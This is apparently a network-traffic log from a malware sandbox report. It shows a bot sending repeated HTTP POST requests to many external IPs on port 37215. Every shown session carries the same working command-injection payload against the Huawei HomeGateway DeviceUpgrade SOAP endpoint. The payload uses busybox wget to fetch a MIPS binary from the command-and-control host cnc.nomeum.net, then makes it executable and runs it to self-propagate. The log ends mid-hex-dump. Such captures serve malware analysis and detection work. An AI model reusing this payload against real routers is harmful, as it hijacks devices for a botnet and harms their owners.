huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	42070	41.213.200.73	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.535373926 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	40966	41.145.207.152	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.536746025 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	52492	156.224.232.229	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.537714005 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	40878	197.10.242.92	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.538806915 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	59808	197.129.240.243	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.539788008 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	35306	156.172.212.115	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.540792942 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	60088	156.155.185.214	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.542831898 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	53188	41.154.117.250	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.544466019 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	51932	156.214.68.98	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.545828104 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	35338	197.200.173.97	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.546935081 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	33352	41.231.143.196	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.550590038 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 